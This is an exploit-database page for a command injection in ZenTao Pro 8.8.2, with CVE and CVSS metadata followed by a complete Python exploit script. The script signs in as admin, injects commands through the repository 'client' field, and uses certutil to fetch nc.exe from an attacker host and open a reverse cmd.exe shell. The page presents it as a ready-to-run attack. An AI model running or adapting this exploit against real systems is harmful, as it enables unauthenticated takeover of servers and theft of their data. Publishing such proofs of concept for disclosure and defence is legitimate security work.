Exploitalert - Database of Exploits

ZenTao Pro 8.8.2 Command Injection

CVE	Category	Price	Severity
CVE-2021-4029	CWE-78	$5,000	High

Author	Risk	Exploitation Type	Date
Unknown	High	Remote	2020-07-03

CPE
cpe:cpe:/a:zentao:zentao:8.8.2

CVSS	EPSS	EPSSP
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H	0.02192	0.50148

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Network	AV	The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	None	PR	The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction	None	UI	The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	High	I	There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability	High	A	There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

https://cxsecurity.com/ascii/WLB-2020070014

ZenTao Pro 8.8.2 Command Injection

# Exploit Title: ZenTao Pro 8.8.2 - Command Injection # Date: 2020-07-01 # Exploit Author: Daniel Monzn & Melvin Boers # Vendor Homepage: https://www.zentao.pm/ # Version: 8.8.2 # Tested on: Windows 10 / WampServer # Other versions like pro or enterprise edition could be affected aswell # Netcat is needed to use this exploit import requests import hashlib import urllib.parse host = 'http://192.168.223.132' username = 'admin' password = 'Test123!@#' name = 'Test2' command = 'certutil.exe+-urlcache+-f+-split+http%3A%2F%2F192.168.223.131%2Fnc.exe+C%3A%5Cbad.exe+%26%26' command2 = 'C:\\bad.exe 192.168.223.131 9001 -e cmd.exe &&' git_path = 'C%3A%5CProgramData' x = requests.session() # Create a session, as needed because we need admin rights. def sign_in(url, username, password): password = hashlib.md5(password.encode('utf-8')).hexdigest() # We need to md5 encode the password in order to sign in proxy = {'http':'127.0.0.1:8080', 'https':'127.0.0.1:8080'} # Just for debugging phase credentials = {'account' : username, 'password' : password} # The credentials we need path = url + '/zentao/user-login.html' # URL + path x.post(path, data=credentials, proxies=proxy, verify=False) # Send the post request to sign in return '[*] We are signed in!' def go_to_repo(url): path = url + '/zentao/repo-browse.html' x.get(path, verify=False) print('[*] Getting to repo path') def create_repo(url, name, command): headers = {'Accept':'application/json, text/javascript, */*; q=0.01', 'Accept-Encoding':'gzip, deflate', 'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8', 'X-Requested-With': 'XMLHttpRequest', 'Origin':'http://192.168.223.132', 'Referer':'http://192.168.223.132/pro/repo-create.html', 'User-Agent':'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0', 'Accept-Language':'en-US,en;q=0.5'} cookies = {'ajax_lastNext':'on', 'windowWidth':'1846', 'windowHeight':'790'} path = url + '/zentao/repo-create.html' parameters = 'SCM=Git&name=' + name + '&path=' + git_path + '&encoding=utf-8&client=' + command x.post(path, data=parameters, headers=headers, cookies=cookies, verify=False) print('[*] Creating the repo') def get_shell(url, name, command): headers = {'Accept':'application/json, text/javascript, */*; q=0.01', 'Accept-Encoding':'gzip, deflate', 'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8', 'X-Requested-With': 'XMLHttpRequest', 'Origin':'http://192.168.223.132', 'Referer':'http://192.168.223.132/pro/repo-create.html', 'User-Agent':'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0', 'Accept-Language':'en-US,en;q=0.5'} cookies = {'ajax_lastNext':'on', 'windowWidth':'1846', 'windowHeight':'790'} path = url + '/zentao/repo-create.html' parameters = 'SCM=Git&name=' + name + '&path=' + git_path + '&encoding=utf-8&client=' + command2 x.post(path, data=parameters, headers=headers, cookies=cookies, verify=False) print('[*] Check your netcat listener!') def main(): switch = True if switch: sign_in(host, username, password) if switch: go_to_repo(host) if switch: create_repo(host, name, command) if switch: get_shell(host, name, command2) switch = False if __name__ == "__main__": main()

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